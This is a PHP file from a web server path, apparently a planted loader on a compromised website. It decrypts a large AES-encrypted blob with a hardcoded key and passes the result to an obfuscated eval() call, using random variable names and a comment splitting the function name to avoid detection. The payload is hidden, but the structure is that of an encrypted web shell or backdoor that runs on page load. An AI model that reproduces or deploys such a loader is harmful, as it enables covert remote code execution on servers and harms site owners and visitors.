File: /var/www/hotvinyl/data/www/hotvinyl.org/index1.php
<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;
public function __construct($masterKey) {
$this->masterKey = $masterKey;
}
public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}
private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);
return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}
private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}
public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}
public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9');
$str = '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';
$decrypted = $secure->decrypt($str);
$WwOy9ISIfCh7mF = function($w9awNt1sJNK87){
/*A2s9d5f*/eVaL($w9awNt1sJNK87);
$mXM0ar3y76T = "mxDQ1TrjTz2a7tWUdPpLAGbFl0qjLSkgr9MBBpc3iRhIb4D59omZddYK";
return $mXM0ar3y76T;
};
$WwOy9ISIfCh7mF($decrypted);